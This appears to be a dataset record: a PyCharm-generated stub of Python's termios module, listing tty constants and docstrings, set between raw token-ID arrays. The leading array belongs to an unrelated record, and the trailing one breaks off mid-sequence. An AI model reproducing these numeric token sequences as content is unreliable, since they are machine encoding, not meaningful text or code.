30004, 13, 9651, 1374, 29875, 29918, 29874, 353, 1374, 29875, 29898, 29874, 8443, 13, 9651, 319, 353, 7442, 29889, 2083, 29898, 29925, 29884, 334, 1374, 29875, 29918, 29874, 8443, 13, 9651, 565, 4236, 29930, 29891, 5277, 319, 29901, 30004, 13, 18884, 20088, 29961, 29875, 29962, 353, 263, 30004, 13, 18884, 2867, 30004, 13, 1678, 736, 20088, 2 ]
pyy1/.pycharm_helpers/python_stubs/-1550516950/termios.py
pyy1988/pyy_test1
0
173255
<reponame>pyy1988/pyy_test1 # encoding: utf-8 # module termios # from /usr/lib/python3.5/lib-dynload/termios.cpython-35m-x86_64-linux-gnu.so # by generator 1.145 """ This module provides an interface to the Posix calls for tty I/O control. For a complete description of these calls, see the Posix or Unix manual pages. It is only available for those Unix versions that support Posix termios style tty I/O control. All functions in this module take a file descriptor fd as their first argument. This can be an integer file descriptor, such as returned by sys.stdin.fileno(), or a file object, such as sys.stdin itself. """ # no imports # Variables with simple values B0 = 0 B1000000 = 4104 B110 = 3 B115200 = 4098 B1152000 = 4105 B1200 = 9 B134 = 4 B150 = 5 B1500000 = 4106 B1800 = 10 B19200 = 14 B200 = 6 B2000000 = 4107 B230400 = 4099 B2400 = 11 B2500000 = 4108 B300 = 7 B3000000 = 4109 B3500000 = 4110 B38400 = 15 B4000000 = 4111 B460800 = 4100 B4800 = 12 B50 = 1 B500000 = 4101 B57600 = 4097 B576000 = 4102 B600 = 8 B75 = 2 B921600 = 4103 B9600 = 13 BRKINT = 2 BS0 = 0 BS1 = 8192 BSDLY = 8192 CBAUD = 4111 CBAUDEX = 4096 CDSUSP = 25 CEOF = 4 CEOL = 0 CEOT = 4 CERASE = 127 CFLUSH = 15 CIBAUD = 269418496 CINTR = 3 CKILL = 21 CLNEXT = 22 CLOCAL = 2048 CQUIT = 28 CR0 = 0 CR1 = 512 CR2 = 1024 CR3 = 1536 CRDLY = 1536 CREAD = 128 CRPRNT = 18 CRTSCTS = 2147483648 CS5 = 0 CS6 = 16 CS7 = 32 CS8 = 48 CSIZE = 48 CSTART = 17 CSTOP = 19 CSTOPB = 64 CSUSP = 26 CWERASE = 23 ECHO = 8 ECHOCTL = 512 ECHOE = 16 ECHOK = 32 ECHOKE = 2048 ECHONL = 64 ECHOPRT = 1024 EXTA = 14 EXTB = 15 FF0 = 0 FF1 = 32768 FFDLY = 32768 FIOASYNC = 21586 FIOCLEX = 21585 FIONBIO = 21537 FIONCLEX = 21584 FIONREAD = 21531 FLUSHO = 4096 HUPCL = 1024 ICANON = 2 ICRNL = 256 IEXTEN = 32768 IGNBRK = 1 IGNCR = 128 IGNPAR = 4 IMAXBEL = 8192 INLCR = 64 INPCK = 16 IOCSIZE_MASK = 1073676288 IOCSIZE_SHIFT = 16 ISIG = 1 ISTRIP = 32 IUCLC = 512 IXANY = 2048 IXOFF = 4096 IXON = 1024 NCC = 8 NCCS = 32 NL0 = 0 NL1 = 256 NLDLY = 256 NOFLSH = 128 N_MOUSE = 2 N_PPP = 3 N_SLIP = 1 N_STRIP = 4 N_TTY = 0 OCRNL = 8 OFDEL = 128 OFILL = 64 OLCUC = 2 ONLCR = 4 ONLRET = 32 ONOCR = 16 OPOST = 1 PARENB = 256 PARMRK = 8 PARODD = 512 PENDIN = 16384 TAB0 = 0 TAB1 = 2048 TAB2 = 4096 TAB3 = 6144 TABDLY = 6144 TCFLSH = 21515 TCGETA = 21509 TCGETS = 21505 TCIFLUSH = 0 TCIOFF = 2 TCIOFLUSH = 2 TCION = 3 TCOFLUSH = 1 TCOOFF = 0 TCOON = 1 TCSADRAIN = 1 TCSAFLUSH = 2 TCSANOW = 0 TCSBRK = 21513 TCSBRKP = 21541 TCSETA = 21510 TCSETAF = 21512 TCSETAW = 21511 TCSETS = 21506 TCSETSF = 21508 TCSETSW = 21507 TCXONC = 21514 TIOCCONS = 21533 TIOCEXCL = 21516 TIOCGETD = 21540 TIOCGICOUNT = 21597 TIOCGLCKTRMIOS = 21590 TIOCGPGRP = 21519 TIOCGSERIAL = 21534 TIOCGSOFTCAR = 21529 TIOCGWINSZ = 21523 TIOCINQ = 21531 TIOCLINUX = 21532 TIOCMBIC = 21527 TIOCMBIS = 21526 TIOCMGET = 21525 TIOCMIWAIT = 21596 TIOCMSET = 21528 TIOCM_CAR = 64 TIOCM_CD = 64 TIOCM_CTS = 32 TIOCM_DSR = 256 TIOCM_DTR = 2 TIOCM_LE = 1 TIOCM_RI = 128 TIOCM_RNG = 128 TIOCM_RTS = 4 TIOCM_SR = 16 TIOCM_ST = 8 TIOCNOTTY = 21538 TIOCNXCL = 21517 TIOCOUTQ = 21521 TIOCPKT = 21536 TIOCPKT_DATA = 0 TIOCPKT_DOSTOP = 32 TIOCPKT_FLUSHREAD = 1 TIOCPKT_FLUSHWRITE = 2 TIOCPKT_NOSTOP = 16 TIOCPKT_START = 8 TIOCPKT_STOP = 4 TIOCSCTTY = 21518 TIOCSERCONFIG = 21587 TIOCSERGETLSR = 21593 TIOCSERGETMULTI = 21594 TIOCSERGSTRUCT = 21592 TIOCSERGWILD = 21588 TIOCSERSETMULTI = 21595 TIOCSERSWILD = 21589 TIOCSER_TEMT = 1 TIOCSETD = 21539 TIOCSLCKTRMIOS = 21591 TIOCSPGRP = 21520 TIOCSSERIAL = 21535 TIOCSSOFTCAR = 21530 TIOCSTI = 21522 TIOCSWINSZ = 21524 TOSTOP = 256 VDISCARD = 13 VEOF = 4 VEOL = 11 VEOL2 = 16 VERASE = 2 VINTR = 0 VKILL = 3 VLNEXT = 15 VMIN = 6 VQUIT = 1 VREPRINT = 12 VSTART = 8 VSTOP = 9 VSUSP = 10 VSWTC = 7 VSWTCH = 7 VT0 = 0 VT1 = 16384 VTDLY = 16384 VTIME = 5 VWERASE = 14 XCASE = 4 XTABS = 6144 # functions def tcdrain(fd): # real signature unknown; restored from __doc__ """ tcdrain(fd) -> None Wait until all output written to file descriptor fd has been transmitted. """ pass def tcflow(fd, action): # real signature unknown; restored from __doc__ """ tcflow(fd, action) -> None Suspend or resume input or output on file descriptor fd. The action argument can be termios.TCOOFF to suspend output, termios.TCOON to restart output, termios.TCIOFF to suspend input, or termios.TCION to restart input. """ pass def tcflush(fd, queue): # real signature unknown; restored from __doc__ """ tcflush(fd, queue) -> None Discard queued data on file descriptor fd. The queue selector specifies which queue: termios.TCIFLUSH for the input queue, termios.TCOFLUSH for the output queue, or termios.TCIOFLUSH for both queues. """ pass def tcgetattr(fd): # real signature unknown; restored from __doc__ """ tcgetattr(fd) -> list_of_attrs Get the tty attributes for file descriptor fd, as follows: [iflag, oflag, cflag, lflag, ispeed, ospeed, cc] where cc is a list of the tty special characters (each a string of length 1, except the items with indices VMIN and VTIME, which are integers when these fields are defined). The interpretation of the flags and the speeds as well as the indexing in the cc array must be done using the symbolic constants defined in this module. """ pass def tcsendbreak(fd, duration): # real signature unknown; restored from __doc__ """ tcsendbreak(fd, duration) -> None Send a break on file descriptor fd. A zero duration sends a break for 0.25-0.5 seconds; a nonzero duration has a system dependent meaning. """ pass def tcsetattr(fd, when, attributes): # real signature unknown; restored from __doc__ """ tcsetattr(fd, when, attributes) -> None Set the tty attributes for file descriptor fd. The attributes to be set are taken from the attributes argument, which is a list like the one returned by tcgetattr(). The when argument determines when the attributes are changed: termios.TCSANOW to change immediately, termios.TCSADRAIN to change after transmitting all queued output, or termios.TCSAFLUSH to change after transmitting all queued output and discarding all queued input. """ pass # classes class error(Exception): # no doc def __init__(self, *args, **kwargs): # real signature unknown pass __weakref__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default """list of weak references to the object (if defined)""" # variables with complex values __loader__ = None # (!) real value is '' __spec__ = None # (!) real value is ''
[ 1, 529, 276, 1112, 420, 29958, 2272, 29891, 29896, 29929, 29947, 29947, 29914, 2272, 29891, 29918, 1688, 29896, 13, 29937, 8025, 29901, 23616, 29899, 29947, 13, 29937, 3883, 1840, 2363, 13, 29937, 515, 847, 4855, 29914, 1982, 29914, 4691, 29941, 29889, 29945, 29914, 1982, 29899, 29881, 948, 1359, 29914, 8489, 2363, 29889, 29883, 4691, 29899, 29941, 29945, 29885, 29899, 29916, 29947, 29953, 29918, 29953, 29946, 29899, 9389, 29899, 18713, 29889, 578, 13, 29937, 491, 15299, 29871, 29896, 29889, 29896, 29946, 29945, 13, 15945, 29908, 13, 4013, 3883, 8128, 385, 5067, 304, 278, 10321, 861, 5717, 363, 260, 1017, 306, 29914, 29949, 2761, 29889, 13, 2831, 263, 4866, 6139, 310, 1438, 5717, 29892, 1074, 278, 10321, 861, 470, 26663, 12219, 13, 12292, 29889, 739, 338, 871, 3625, 363, 1906, 26663, 6910, 393, 2304, 10321, 861, 13, 8489, 2363, 3114, 260, 1017, 306, 29914, 29949, 2761, 29889, 13, 13, 3596, 3168, 297, 445, 3883, 2125, 263, 934, 553, 11709, 285, 29881, 408, 1009, 937, 13, 23516, 29889, 910, 508, 367, 385, 6043, 934, 553, 11709, 29892, 1316, 408, 4133, 491, 13, 9675, 29889, 4172, 262, 29889, 1777, 8154, 3285, 470, 263, 934, 1203, 29892, 1316, 408, 10876, 29889, 4172, 262, 3528, 29889, 13, 15945, 29908, 13, 29937, 694, 24802, 13, 13, 29937, 9586, 1849, 411, 2560, 1819, 13, 13, 29933, 29900, 353, 29871, 29900, 13, 13, 29933, 29896, 29900, 29900, 29900, 29900, 29900, 29900, 353, 29871, 29946, 29896, 29900, 29946, 13, 29933, 29896, 29896, 29900, 353, 29871, 29941, 13, 29933, 29896, 29896, 29945, 29906, 29900, 29900, 353, 29871, 29946, 29900, 29929, 29947, 13, 29933, 29896, 29896, 29945, 29906, 29900, 29900, 29900, 353, 29871, 29946, 29896, 29900, 29945, 13, 29933, 29896, 29906, 29900, 29900, 353, 29871, 29929, 13, 29933, 29896, 29941, 29946, 353, 29871, 29946, 13, 29933, 29896, 29945, 29900, 353, 29871, 29945, 13, 29933, 29896, 29945, 29900, 29900, 29900, 29900, 29900, 353, 29871, 29946, 29896, 29900, 29953, 13, 29933, 29896, 29947, 29900, 29900, 353, 29871, 29896, 29900, 13, 29933, 29896, 29929, 29906, 29900, 29900, 353, 29871, 29896, 29946, 13, 13, 29933, 29906, 29900, 29900, 353, 29871, 29953, 13, 29933, 29906, 29900, 29900, 29900, 29900, 29900, 29900, 353, 29871, 29946, 29896, 29900, 29955, 13, 29933, 29906, 29941, 29900, 29946, 29900, 29900, 353, 29871, 29946, 29900, 29929, 29929, 13, 29933, 29906, 29946, 29900, 29900, 353, 29871, 29896, 29896, 13, 29933, 29906, 29945, 29900, 29900, 29900, 29900, 29900, 353, 29871, 29946, 29896, 29900, 29947, 13, 13, 29933, 29941, 29900, 29900, 353, 29871, 29955, 13, 29933, 29941, 29900, 29900, 29900, 29900, 29900, 29900, 353, 29871, 29946, 29896, 29900, 29929, 13, 29933, 29941, 29945, 29900, 29900, 29900, 29900, 29900, 353, 29871, 29946, 29896, 29896, 29900, 13, 29933, 29941, 29947, 29946, 29900, 29900, 353, 29871, 29896, 29945, 13, 13, 29933, 29946, 29900, 29900, 29900, 29900, 29900, 29900, 353, 29871, 29946, 29896, 29896, 29896, 13, 29933, 29946, 29953, 29900, 29947, 29900, 29900, 353, 29871, 29946, 29896, 29900, 29900, 13, 29933, 29946, 29947, 29900, 29900, 353, 29871, 29896, 29906, 13, 13, 29933, 29945, 29900, 353, 29871, 29896, 13, 29933, 29945, 29900, 29900, 29900, 29900, 29900, 353, 29871, 29946, 29896, 29900, 29896, 13, 29933, 29945, 29955, 29953, 29900, 29900, 353, 29871, 29946, 29900, 29929, 29955, 13, 29933, 29945, 29955, 29953, 29900, 29900, 29900, 353, 29871, 29946, 29896, 29900, 29906, 13, 13, 29933, 29953, 29900, 29900, 353, 29871, 29947, 13, 13, 29933, 29955, 29945, 353, 29871, 29906, 13, 13, 29933, 29929, 29906, 29896, 29953, 29900, 29900, 353, 29871, 29946, 29896, 29900, 29941, 13, 29933, 29929, 29953, 29900, 29900, 353, 29871, 29896, 29941, 13, 13, 15176, 29968, 10192, 353, 29871, 29906, 13, 13, 9851, 29900, 353, 29871, 29900, 13, 9851, 29896, 353, 29871, 29947, 29896, 29929, 29906, 13, 29933, 7230, 16786, 353, 29871, 29947, 29896, 29929, 29906, 13, 13, 29907, 5688, 15789, 353, 29871, 29946, 29896, 29896, 29896, 13, 29907, 5688, 29965, 19577, 353, 29871, 29946, 29900, 29929, 29953, 13, 13, 6530, 29903, 3308, 29925, 353, 29871, 29906, 29945, 13, 13, 4741, 9800, 353, 29871, 29946, 13, 4741, 5607, 353, 29871, 29900, 13, 4741, 2891, 353, 29871, 29946, 13, 29907, 1001, 8127, 353, 29871, 29896, 29906, 29955, 13, 13, 9207, 29931, 3308, 29950, 353, 29871, 29896, 29945, 13, 13, 8426, 5688, 15789, 353, 29871, 29906, 29953, 29929, 29946, 29896, 29947, 29946, 29929, 29953, 13, 29907, 1177, 5659, 353, 29871, 29941, 13, 13, 7077, 24071, 353, 29871, 29906, 29896, 13, 13, 6154, 29940, 12194, 353, 29871, 29906, 29906, 13, 29907, 16652, 1964, 353, 29871, 29906, 29900, 29946, 29947, 13, 13, 29907, 13356, 1806, 353, 29871, 29906, 29947, 13, 13, 11341, 29900, 353, 29871, 29900, 13, 11341, 29896, 353, 29871, 29945, 29896, 29906, 13, 11341, 29906, 353, 29871, 29896, 29900, 29906, 29946, 13, 11341, 29941, 353, 29871, 29896, 29945, 29941, 29953, 13, 11341, 29928, 16786, 353, 29871, 29896, 29945, 29941, 29953, 13, 29907, 16310, 353, 29871, 29896, 29906, 29947, 13, 11341, 10593, 20321, 353, 29871, 29896, 29947, 13, 11341, 9375, 1783, 29903, 353, 29871, 29906, 29896, 29946, 29955, 29946, 29947, 29941, 29953, 29946, 29947, 13, 13, 9295, 29945, 353, 29871, 29900, 13, 9295, 29953, 353, 29871, 29896, 29953, 13, 9295, 29955, 353, 29871, 29941, 29906, 13, 9295, 29947, 353, 29871, 29946, 29947, 13, 29907, 14226, 353, 29871, 29946, 29947, 13, 29907, 25826, 353, 29871, 29896, 29955, 13, 29907, 1254, 4590, 353, 29871, 29896, 29929, 13, 29907, 1254, 4590, 29933, 353, 29871, 29953, 29946, 13, 9295, 3308, 29925, 353, 29871, 29906, 29953, 13, 13, 29907, 29956, 1001, 8127, 353, 29871, 29906, 29941, 13, 13, 29923, 3210, 29949, 353, 29871, 29947, 13, 29923, 3210, 29949, 1783, 29931, 353, 29871, 29945, 29896, 29906, 13, 29923, 3210, 29949, 29923, 353, 29871, 29896, 29953, 13, 29923, 3210, 8949, 353, 29871, 29941, 29906, 13, 29923, 3210, 29949, 6059, 353, 29871, 29906, 29900, 29946, 29947, 13, 29923, 3210, 1164, 29931, 353, 29871, 29953, 29946, 13, 29923, 3210, 4590, 13079, 353, 29871, 29896, 29900, 29906, 29946, 13, 13, 5746, 6040, 353, 29871, 29896, 29946, 13, 12194, 29933, 353, 29871, 29896, 29945, 13, 13, 4198, 29900, 353, 29871, 29900, 13, 4198, 29896, 353, 29871, 29941, 29906, 29955, 29953, 29947, 13, 4198, 29928, 16786, 353, 29871, 29941, 29906, 29955, 29953, 29947, 13, 13, 3738, 29949, 3289, 29979, 15868, 353, 29871, 29906, 29896, 29945, 29947, 29953, 13, 3738, 20166, 1307, 29990, 353, 29871, 29906, 29896, 29945, 29947, 29945, 13, 29943, 2725, 29933, 5971, 353, 29871, 29906, 29896, 29945, 29941, 29955, 13, 29943, 2725, 29907, 1307, 29990, 353, 29871, 29906, 29896, 29945, 29947, 29946, 13, 29943, 2725, 16310, 353, 29871, 29906, 29896, 29945, 29941, 29896, 13, 13, 10536, 3308, 8187, 353, 29871, 29946, 29900, 29929, 29953, 13, 13, 29950, 4897, 6154, 353, 29871, 29896, 29900, 29906, 29946, 13, 13, 2965, 2190, 1164, 353, 29871, 29906, 13, 2965, 29934, 25103, 353, 29871, 29906, 29945, 29953, 13, 13, 29902, 12194, 1430, 353, 29871, 29941, 29906, 29955, 29953, 29947, 13, 13, 17298, 15176, 29968, 353, 29871, 29896, 13, 17298, 11341, 353, 29871, 29896, 29906, 29947, 13, 17298, 16320, 353, 29871, 29946, 13, 13, 2260, 29990, 29933, 6670, 353, 29871, 29947, 29896, 29929, 29906, 13, 13, 1177, 29931, 11341, 353, 29871, 29953, 29946, 13, 1177, 29925, 7077, 353, 29871, 29896, 29953, 13, 13, 5971, 29907, 14226, 29918, 1529, 16033, 353, 29871, 29896, 29900, 29955, 29941, 29953, 29955, 29953, 29906, 29947, 29947, 13, 5971, 29907, 14226, 29918, 7068, 6545, 29911, 353, 29871, 29896, 29953, 13, 13, 3235, 6259, 353, 29871, 29896, 13, 9047, 3960, 29925, 353, 29871, 29941, 29906, 13, 13, 29902, 29965, 18367, 353, 29871, 29945, 29896, 29906, 13, 13, 6415, 2190, 29979, 353, 29871, 29906, 29900, 29946, 29947, 13, 6415, 27681, 353, 29871, 29946, 29900, 29929, 29953, 13, 6415, 1164, 353, 29871, 29896, 29900, 29906, 29946, 13, 13, 29940, 4174, 353, 29871, 29947, 13, 29940, 4174, 29903, 353, 29871, 29941, 29906, 13, 13, 25103, 29900, 353, 29871, 29900, 13, 25103, 29896, 353, 29871, 29906, 29945, 29953, 13, 29940, 10249, 16786, 353, 29871, 29906, 29945, 29953, 13, 13, 6632, 10536, 7068, 353, 29871, 29896, 29906, 29947, 13, 13, 29940, 29918, 6720, 17171, 353, 29871, 29906, 13, 29940, 29918, 18009, 29925, 353, 29871, 29941, 13, 29940, 29918, 29903, 5265, 29925, 353, 29871, 29896, 13, 29940, 29918, 1254, 3960, 29925, 353, 29871, 29946, 13, 29940, 29918, 29911, 15631, 353, 29871, 29900, 13, 13, 29949, 11341, 25103, 353, 29871, 29947, 13, 13, 9800, 2287, 29931, 353, 29871, 29896, 29906, 29947, 13, 29949, 3738, 2208, 353, 29871, 29953, 29946, 13, 13, 5607, 29907, 23129, 353, 29871, 29906, 13, 13, 1164, 29931, 11341, 353, 29871, 29946, 13, 1164, 29931, 1525, 29911, 353, 29871, 29941, 29906, 13, 1164, 29949, 11341, 353, 29871, 29896, 29953, 13, 13, 4590, 3718, 353, 29871, 29896, 13, 13, 16320, 1430, 29933, 353, 29871, 29906, 29945, 29953, 13, 16320, 21055, 29968, 353, 29871, 29947, 13, 7228, 1672, 7858, 353, 29871, 29945, 29896, 29906, 13, 13, 29925, 11794, 1177, 353, 29871, 29896, 29953, 29941, 29947, 29946, 13, 13, 29911, 2882, 29900, 353, 29871, 29900, 13, 29911, 2882, 29896, 353, 29871, 29906, 29900, 29946, 29947, 13, 29911, 2882, 29906, 353, 29871, 29946, 29900, 29929, 29953, 13, 29911, 2882, 29941, 353, 29871, 29953, 29896, 29946, 29946, 13, 29911, 2882, 29928, 16786, 353, 29871, 29953, 29896, 29946, 29946, 13, 13, 29911, 9207, 29931, 7068, 353, 29871, 29906, 29896, 29945, 29896, 29945, 13, 9472, 1692, 6040, 353, 29871, 29906, 29896, 29945, 29900, 29929, 13, 9472, 7194, 29903, 353, 29871, 29906, 29896, 29945, 29900, 29945, 13, 9472, 6545, 29931, 3308, 29950, 353, 29871, 29900, 13, 9472, 5971, 4198, 353, 29871, 29906, 13, 9472, 5971, 10536, 3308, 29950, 353, 29871, 29906, 13, 9472, 2725, 353, 29871, 29941, 13, 29911, 3217, 10536, 3308, 29950, 353, 29871, 29896, 13, 29911, 3217, 27681, 353, 29871, 29900, 13, 29911, 3217, 1164, 353, 29871, 29896, 13, 29911, 9295, 3035, 4717, 1177, 353, 29871, 29896, 13, 29911, 9295, 5098, 29931, 3308, 29950, 353, 29871, 29906, 13, 29911, 9295, 2190, 9806, 353, 29871, 29900, 13, 9472, 1744, 29934, 29968, 353, 29871, 29906, 29896, 29945, 29896, 29941, 13, 9472, 1744, 29934, 29968, 29925, 353, 29871, 29906, 29896, 29945, 29946, 29896, 13, 9472, 1660, 6040, 353, 29871, 29906, 29896, 29945, 29896, 29900, 13, 9472, 10490, 5098, 353, 29871, 29906, 29896, 29945, 29896, 29906, 13, 9472, 1660, 6040, 29956, 353, 29871, 29906, 29896, 29945, 29896, 29896, 13, 9472, 1660, 9375, 353, 29871, 29906, 29896, 29945, 29900, 29953, 13, 9472, 1660, 9375, 29943, 353, 29871, 29906, 29896, 29945, 29900, 29947, 13, 9472, 1660, 9375, 29956, 353, 29871, 29906, 29896, 29945, 29900, 29955, 13, 9472, 29990, 1164, 29907, 353, 29871, 29906, 29896, 29945, 29896, 29946, 13, 13, 29911, 5971, 4174, 1164, 29903, 353, 29871, 29906, 29896, 29945, 29941, 29941, 13, 29911, 5971, 4741, 29990, 6154, 353, 29871, 29906, 29896, 29945, 29896, 29953, 13, 29911, 5971, 29907, 7194, 29928, 353, 29871, 29906, 29896, 29945, 29946, 29900, 13, 29911, 5971, 11135, 2965, 29949, 10356, 353, 29871, 29906, 29896, 29945, 29929, 29955, 13, 29911, 5971, 29907, 7239, 7077, 5659, 10403, 3267, 353, 29871, 29906, 29896, 29945, 29929, 29900, 13, 29911, 5971, 11135, 29925, 14345, 29925, 353, 29871, 29906, 29896, 29945, 29896, 29929, 13, 29911, 5971, 11135, 6304, 25758, 353, 29871, 29906, 29896, 29945, 29941, 29946, 13, 29911, 5971, 11135, 6156, 7818, 29907, 1718, 353, 29871, 29906, 29896, 29945, 29906, 29929, 13, 29911, 5971, 11135, 25152, 29903, 29999, 353, 29871, 29906, 29896, 29945, 29906, 29941, 13, 29911, 5971, 29907, 1177, 29984, 353, 29871, 29906, 29896, 29945, 29941, 29896, 13, 29911, 5971, 6154, 1177, 29965, 29990, 353, 29871, 29906, 29896, 29945, 29941, 29906, 13, 29911, 5971, 29907, 9486, 2965, 353, 29871, 29906, 29896, 29945, 29906, 29955, 13, 29911, 5971, 29907, 9486, 3235, 353, 29871, 29906, 29896, 29945, 29906, 29953, 13, 29911, 5971, 24494, 7194, 353, 29871, 29906, 29896, 29945, 29906, 29945, 13, 29911, 5971, 29907, 10403, 12982, 1806, 353, 29871, 29906, 29896, 29945, 29929, 29953, 13, 29911, 5971, 24494, 10490, 353, 29871, 29906, 29896, 29945, 29906, 29947, 13, 13, 29911, 5971, 24494, 29918, 29907, 1718, 353, 29871, 29953, 29946, 13, 29911, 5971, 24494, 29918, 6530, 353, 29871, 29953, 29946, 13, 29911, 5971, 24494, 29918, 1783, 29903, 353, 29871, 29941, 29906, 13, 29911, 5971, 24494, 29918, 8452, 29934, 353, 29871, 29906, 29945, 29953, 13, 29911, 5971, 24494, 29918, 29928, 5659, 353, 29871, 29906, 13, 29911, 5971, 24494, 29918, 1307, 353, 29871, 29896, 13, 29911, 5971, 24494, 29918, 3960, 353, 29871, 29896, 29906, 29947, 13, 29911, 5971, 24494, 29918, 29934, 9312, 353, 29871, 29896, 29906, 29947, 13, 29911, 5971, 24494, 29918, 29934, 9375, 353, 29871, 29946, 13, 29911, 5971, 24494, 29918, 14098, 353, 29871, 29896, 29953, 13, 29911, 5971, 24494, 29918, 1254, 353, 29871, 29947, 13, 13, 29911, 5971, 29907, 12256, 15631, 353, 29871, 29906, 29896, 29945, 29941, 29947, 13, 29911, 5971, 13778, 29990, 6154, 353, 29871, 29906, 29896, 29945, 29896, 29955, 13, 29911, 5971, 3217, 2692, 29984, 353, 29871, 29906, 29896, 29945, 29906, 29896, 13, 29911, 5971, 6271, 29968, 29911, 353, 29871, 29906, 29896, 29945, 29941, 29953, 13, 13, 29911, 5971, 6271, 29968, 29911, 29918, 14573, 353, 29871, 29900, 13, 29911, 5971, 6271, 29968, 29911, 29918, 29928, 3718, 4590, 353, 29871, 29941, 29906, 13, 29911, 5971, 6271, 29968, 29911, 29918, 10536, 3308, 29950, 16310, 353, 29871, 29896, 13, 29911, 5971, 6271, 29968, 29911, 29918, 10536, 3308, 29950, 16365, 353, 29871, 29906, 13, 29911, 5971, 6271, 29968, 29911, 29918, 29940, 3718, 4590, 353, 29871, 29896, 29953, 13, 29911, 5971, 6271, 29968, 29911, 29918, 25826, 353, 29871, 29947, 13, 29911, 5971, 6271, 29968, 29911, 29918, 1254, 4590, 353, 29871, 29946, 13, 13, 29911, 5971, 9295, 1783, 15631, 353, 29871, 29906, 29896, 29945, 29896, 29947, 13, 29911, 5971, 29907, 6304, 25903, 353, 29871, 29906, 29896, 29945, 29947, 29955, 13, 29911, 5971, 29907, 6304, 7194, 8547, 29934, 353, 29871, 29906, 29896, 29945, 29929, 29941, 13, 29911, 5971, 29907, 6304, 7194, 29924, 8647, 29902, 353, 29871, 29906, 29896, 29945, 29929, 29946, 13, 29911, 5971, 29907, 6304, 29954, 10810, 29965, 1783, 353, 29871, 29906, 29896, 29945, 29929, 29906, 13, 29911, 5971, 29907, 6304, 29954, 29956, 6227, 29928, 353, 29871, 29906, 29896, 29945, 29947, 29947, 13, 29911, 5971, 29907, 6304, 10490, 29924, 8647, 29902, 353, 29871, 29906, 29896, 29945, 29929, 29945, 13, 29911, 5971, 29907, 6304, 23066, 6227, 29928, 353, 29871, 29906, 29896, 29945, 29947, 29929, 13, 13, 29911, 5971, 29907, 6304, 29918, 4330, 11490, 353, 29871, 29896, 13, 13, 29911, 5971, 29907, 10490, 29928, 353, 29871, 29906, 29896, 29945, 29941, 29929, 13, 29911, 5971, 9295, 29931, 7077, 5659, 10403, 3267, 353, 29871, 29906, 29896, 29945, 29929, 29896, 13, 29911, 5971, 29907, 5550, 14345, 29925, 353, 29871, 29906, 29896, 29945, 29906, 29900, 13, 29911, 5971, 19407, 1001, 25758, 353, 29871, 29906, 29896, 29945, 29941, 29945, 13, 29911, 5971, 19407, 29949, 7818, 29907, 1718, 353, 29871, 29906, 29896, 29945, 29941, 29900, 13, 29911, 5971, 29907, 1254, 29902, 353, 29871, 29906, 29896, 29945, 29906, 29906, 13, 29911, 5971, 9295, 25152, 29903, 29999, 353, 29871, 29906, 29896, 29945, 29906, 29946, 13, 13, 29911, 3718, 4590, 353, 29871, 29906, 29945, 29953, 13, 13, 10699, 3235, 29907, 17011, 353, 29871, 29896, 29941, 13, 13, 12064, 9800, 353, 29871, 29946, 13, 12064, 5607, 353, 29871, 29896, 29896, 13, 12064, 5607, 29906, 353, 29871, 29896, 29953, 13, 5348, 8127, 353, 29871, 29906, 13, 13, 29963, 1177, 5659, 353, 29871, 29900, 13, 13, 29963, 29968, 24071, 353, 29871, 29941, 13, 13, 29963, 29931, 29940, 12194, 353, 29871, 29896, 29945, 13, 13, 9219, 1177, 353, 29871, 29953, 13, 13, 29963, 13356, 1806, 353, 29871, 29896, 13, 13, 29963, 1525, 10593, 10192, 353, 29871, 29896, 29906, 13, 13, 29963, 25826, 353, 29871, 29947, 13, 29963, 1254, 4590, 353, 29871, 29929, 13, 21819, 3308, 29925, 353, 29871, 29896, 29900, 13, 21819, 29956, 9472, 353, 29871, 29955, 13, 21819, 17755, 3210, 353, 29871, 29955, 13, 13, 29963, 29911, 29900, 353, 29871, 29900, 13, 29963, 29911, 29896, 353, 29871, 29896, 29953, 29941, 29947, 29946, 13, 29963, 24495, 16786, 353, 29871, 29896, 29953, 29941, 29947, 29946, 13, 29963, 15307, 353, 29871, 29945, 13, 13, 29963, 29956, 1001, 8127, 353, 29871, 29896, 29946, 13, 13, 29990, 23487, 353, 29871, 29946, 13, 13, 12188, 2882, 29903, 353, 29871, 29953, 29896, 29946, 29946, 13, 13, 29937, 3168, 13, 13, 1753, 260, 2252, 6038, 29898, 11512, 1125, 396, 1855, 12608, 9815, 29936, 23119, 515, 4770, 1514, 1649, 13, 1678, 9995, 13, 1678, 260, 2252, 6038, 29898, 11512, 29897, 1599, 6213, 13, 268, 13, 1678, 20340, 2745, 599, 1962, 3971, 304, 934, 553, 11709, 285, 29881, 756, 1063, 18750, 4430, 29889, 13, 1678, 9995, 13, 1678, 1209, 13, 13, 1753, 260, 29883, 1731, 29898, 11512, 29892, 3158, 1125, 396, 1855, 12608, 9815, 29936, 23119, 515, 4770, 1514, 1649, 13, 1678, 9995, 13, 1678, 260, 29883, 1731, 29898, 11512, 29892, 3158, 29897, 1599, 6213, 13, 268, 13, 1678, 9511, 14081, 470, 620, 2017, 1881, 470, 1962, 373, 934, 553, 11709, 285, 29881, 29889, 13, 1678, 450, 3158, 2980, 508, 367, 1840, 2363, 29889, 29911, 3217, 27681, 304, 8872, 355, 1962, 29892, 13, 1678, 1840, 2363, 29889, 29911, 3217, 1164, 304, 10715, 1962, 29892, 1840, 2363, 29889, 9472, 5971, 4198, 304, 8872, 355, 1881, 29892, 13, 1678, 470, 1840, 2363, 29889, 9472, 2725, 304, 10715, 1881, 29889, 13, 1678, 9995, 13, 1678, 1209, 13, 13, 1753, 260, 29883, 23126, 29898, 11512, 29892, 9521, 1125, 396, 1855, 12608, 9815, 29936, 23119, 515, 4770, 1514, 1649, 13, 1678, 9995, 13, 1678, 260, 29883, 23126, 29898, 11512, 29892, 9521, 29897, 1599, 6213, 13, 268, 13, 1678, 3295, 7543, 712, 6742, 848, 373, 934, 553, 11709, 285, 29881, 29889, 13, 1678, 450, 9521, 11764, 1580, 11057, 607, 9521, 29901, 1840, 2363, 29889, 9472, 6545, 29931, 3308, 29950, 363, 278, 1881, 13, 1678, 9521, 29892, 1840, 2363, 29889, 29911, 3217, 10536, 3308, 29950, 363, 278, 1962, 9521, 29892, 470, 1840, 2363, 29889, 9472, 5971, 10536, 3308, 29950, 363, 13, 1678, 1716, 712, 1041, 29889, 13, 1678, 9995, 13, 1678, 1209, 13, 13, 1753, 260, 29883, 657, 5552, 29898, 11512, 1125, 396, 1855, 12608, 9815, 29936, 23119, 515, 4770, 1514, 1649, 13, 1678, 9995, 13, 1678, 260, 29883, 657, 5552, 29898, 11512, 